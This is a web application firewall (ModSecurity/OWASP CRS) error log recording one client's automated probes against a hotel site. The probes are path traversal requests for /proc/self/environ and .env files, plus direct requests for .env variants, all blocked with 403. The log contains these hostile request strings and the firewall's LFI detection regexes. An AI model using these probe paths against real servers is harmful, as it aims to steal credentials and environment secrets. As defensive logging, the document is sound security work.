[Mon Oct 26 10:03:28.296801 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsE9qPMNS87qzj5gkRgAAABE"]
[Mon Oct 26 10:03:28.297026 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsE9qPMNS87qzj5gkRgAAABE"]
[Mon Oct 26 10:03:28.318264 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39356] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at9dsMfzpoBm8xCXttklVQAAABA"]
[Mon Oct 26 10:03:28.318380 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39356] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at9dsMfzpoBm8xCXttklVQAAABA"]
[Mon Oct 26 10:03:28.318416 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39356] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at9dsMfzpoBm8xCXttklVQAAABA"]
[Mon Oct 26 10:03:28.318491 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39356] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at9dsMfzpoBm8xCXttklVQAAABA"]
[Mon Oct 26 10:03:28.319046 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at9dsMfzpoBm8xCXttklVQAAABA"]
[Mon Oct 26 10:03:28.319289 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at9dsMfzpoBm8xCXttklVQAAABA"]
[Mon Oct 26 10:03:28.322220 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at9dsLnmpHTSsAiKbb2b3QAAAAc"]
[Mon Oct 26 10:03:28.322311 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at9dsLnmpHTSsAiKbb2b3QAAAAc"]
[Mon Oct 26 10:03:28.322353 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at9dsLnmpHTSsAiKbb2b3QAAAAc"]
[Mon Oct 26 10:03:28.322657 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at9dsLnmpHTSsAiKbb2b3QAAAAc"]
[Mon Oct 26 10:03:28.322916 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at9dsLnmpHTSsAiKbb2b3QAAAAc"]
[Mon Oct 26 10:03:28.326558 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsIkBAlsUe0HxPuSmLgAAAA4"]
[Mon Oct 26 10:03:28.326634 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsIkBAlsUe0HxPuSmLgAAAA4"]
[Mon Oct 26 10:03:28.326664 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsIkBAlsUe0HxPuSmLgAAAA4"]
[Mon Oct 26 10:03:28.327068 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsIkBAlsUe0HxPuSmLgAAAA4"]
[Mon Oct 26 10:03:28.327328 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsIkBAlsUe0HxPuSmLgAAAA4"]
[Mon Oct 26 10:03:28.328396 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsAt8dJFpdHay4jzKmAAAAAA"]
[Mon Oct 26 10:03:28.328464 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsAt8dJFpdHay4jzKmAAAAAA"]
[Mon Oct 26 10:03:28.328516 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsAt8dJFpdHay4jzKmAAAAAA"]
[Mon Oct 26 10:03:28.328565 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsAt8dJFpdHay4jzKmAAAAAA"]
[Mon Oct 26 10:03:28.328917 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsAt8dJFpdHay4jzKmAAAAAA"]
[Mon Oct 26 10:03:28.329123 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsAt8dJFpdHay4jzKmAAAAAA"]
[Mon Oct 26 10:03:28.371827 2026] [security2:error] [pid 3044227:tid 3044227] [client 34.118.177.189:39444] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at9dsNRG_i45-CTA-LMViQAAABI"]
[Mon Oct 26 10:03:28.372044 2026] [security2:error] [pid 3044227:tid 3044227] [client 34.118.177.189:39444] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at9dsNRG_i45-CTA-LMViQAAABI"]
[Mon Oct 26 10:03:28.372304 2026] [security2:error] [pid 3044227:tid 3044227] [client 34.118.177.189:39444] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at9dsNRG_i45-CTA-LMViQAAABI"]
[Mon Oct 26 10:03:28.379753 2026] [security2:error] [pid 3044229:tid 3044229] [client 34.118.177.189:39500] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9dsHzx9K7YR_L8u2S6UAAAABQ"]
[Mon Oct 26 10:03:28.379977 2026] [security2:error] [pid 3044229:tid 3044229] [client 34.118.177.189:39500] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9dsHzx9K7YR_L8u2S6UAAAABQ"]
[Mon Oct 26 10:03:28.380300 2026] [security2:error] [pid 3044229:tid 3044229] [client 34.118.177.189:39500] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9dsHzx9K7YR_L8u2S6UAAAABQ"]
[Mon Oct 26 10:03:28.381366 2026] [security2:error] [pid 3044230:tid 3044230] [client 34.118.177.189:39516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9dsDnmQI02MoAHI7oCFgAAABU"]
[Mon Oct 26 10:03:28.381538 2026] [security2:error] [pid 3044230:tid 3044230] [client 34.118.177.189:39516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9dsDnmQI02MoAHI7oCFgAAABU"]
[Mon Oct 26 10:03:28.381833 2026] [security2:error] [pid 3044230:tid 3044230] [client 34.118.177.189:39516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9dsDnmQI02MoAHI7oCFgAAABU"]
[Mon Oct 26 10:03:28.382712 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dsCDi6FEnz4zo40NhiQAAAAk"]
[Mon Oct 26 10:03:28.382869 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dsCDi6FEnz4zo40NhiQAAAAk"]
[Mon Oct 26 10:03:28.383078 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dsCDi6FEnz4zo40NhiQAAAAk"]
